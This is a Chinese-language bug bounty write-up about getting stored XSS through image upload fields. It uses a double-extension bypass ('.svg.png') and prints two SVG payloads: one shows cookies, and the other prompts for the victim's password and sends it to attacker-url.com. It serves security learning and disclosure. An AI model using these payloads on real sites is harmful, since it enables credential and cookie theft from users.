溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS

發(fā)布時(shí)間:2021-11-23 22:32:56 來源:億速云 閱讀:1381 作者:柒染 欄目:網(wǎng)絡(luò)管理

今天就跟大家聊聊有關(guān)如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

漏洞發(fā)現(xiàn)

1、登錄進(jìn)入目標(biāo)WEB應(yīng)用;
2、手工枚舉測試;
3、觀察WEB應(yīng)用樣式:

如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS4、從中可以看到多個(gè)文本輸入?yún)^(qū)域,我嘗試了諸如sqli、xss、ssti等漏洞,都沒問題。 但之后的Logo, Background Image 和 Advertisement Image圖片上傳點(diǎn)引起了我的注意,于是我決定構(gòu)造一些特殊文件進(jìn)行上傳,看看有什么反應(yīng)。 我隨即構(gòu)造了svg格式文件進(jìn)行了上傳:

如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS5、 但上傳后服務(wù)端卻返回了以下錯(cuò)誤響應(yīng):

如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS6、那能否繞過格式限制呢?于是,我在文件名上做了手腳,把“Fileupload.svg”更改成“Fileupload.svg.png”再上傳,竟然成功了:

如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS7、之后,我點(diǎn)擊上個(gè)界面中的“Next”,跳轉(zhuǎn)到了另一個(gè)頁面,在該頁面中我可以訪問到剛剛上傳的圖片,而且這些圖片都是縮略圖方式:

如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS8、如上點(diǎn)擊右鍵的“View Image”后,跳出了期待的svg xss:

如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS

我構(gòu)造的svg文件如下,其中包含了XSS Payload:

<?xml version=”1.0" standalone=”no”?>
<!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version=”1.1" baseProfile=”full” xmlns=”http://www.w3.org/2000/svg">
<polygon id=”triangle” points=”0,0 0,50 50,0" fill=”#009901" stroke=”#004400"/>
<script type=”text/javascript”>
alert(document.cookie);
</script>
</svg>

改造一下,可在其中加入賬號(hào)密碼竊取Payload,最終如下:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

        <script> 
                var passwd = prompt("Enter your password to continue");
                var xhr = new XMLHttpRequest();
                xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd));
                xhr.send();
        </script>

</svg>

9、再次把這些SVG文件上傳:

如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS10、點(diǎn)擊右鍵“View Image”訪問上述svg文件:

如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS11、跳出密碼輸入的XSS Payload提示框,點(diǎn)擊輸入密碼后,可見密碼被竊?。?/p>

如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS

漏洞獎(jiǎng)勵(lì)

漏洞最終獲得了$1000的獎(jiǎng)勵(lì)。

如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS

看完上述內(nèi)容,你們對(duì)如何利用圖片上傳功能實(shí)現(xiàn)存儲(chǔ)型XSS有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

xss
AI